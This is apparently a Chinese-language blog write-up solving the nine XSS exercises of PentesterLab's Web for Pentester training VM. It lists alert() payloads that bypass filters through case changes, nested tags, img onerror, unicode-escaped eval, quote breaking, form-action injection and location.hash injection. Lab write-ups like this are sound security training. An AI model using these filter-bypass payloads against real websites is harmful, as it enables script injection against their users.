Rock's blog

兴趣是最好的老师

0%

WebForPentester_XSS

站点:https://pentesterlab.com/exercises/web_for_pentester/

从上面的站点下载好iso镜像后在虚拟机中启动

Example 1

思路: 首先查看HTML页面,发现没有用户输入的地方.然后看URL,发现”?name=hacker”.测试改变name的值,发现页面会返回name的值.确定name为注入点.第一题一般很简单.

答案:

/xss/example1.php?name=<script>alert()</script>

Example 2

思路: 采用上一题的答案进行测试.发现程序过滤了<script>和</script>.但是HTML标签不区分大小写,so~

答案:

/xss/example2.php?name=<Script>alert()</scRipt>

Example 3

思路:通过测试发现程序只过滤了一遍<script>与</script>标签.

答案:

?name=<script<script>>alert()</script</script>>

Example 4

思路:完全过滤了script标签,考虑使用<img>标签.

答案:

name=<img src="" onerror="alert()">

Example 5

思路: 过滤了”alert”的大小写,考虑使用evel()函数配合Unicode编码.

tips: eval() 函数可计算某个字符串,并执行其中的 JavaScript 代码.

答案:

?name=<script>eval(\u0061\u006c\u0065\u0072\u0074())</script>

Example 6

思路: 查看HTML页面,很明显是使用JavaScript语言的注释.

答案:

?name=";alert()

Example 7

思路: 上一题闭合双引号,这一题单引号.

答案:

?name=';alert()

Example 8

思路: 一开始被输入框误导,以为从输入框注入,后来才发现是从<form>标签入手.仔细观察发现<form>标签的action字段属性的值与URL有关.

答案:

example8.php/"%20method="POST"><script>alert()</script><!--

tips:<form>标签用于为用户输入创建 HTML 表单。action属性规定当提交表单时向何处发送表单数据。

Example 9

思路: 注意到代码中的

document.write(location.hash.substring(1))

显然是利用锚注入

答案:

#<script>alert()</script>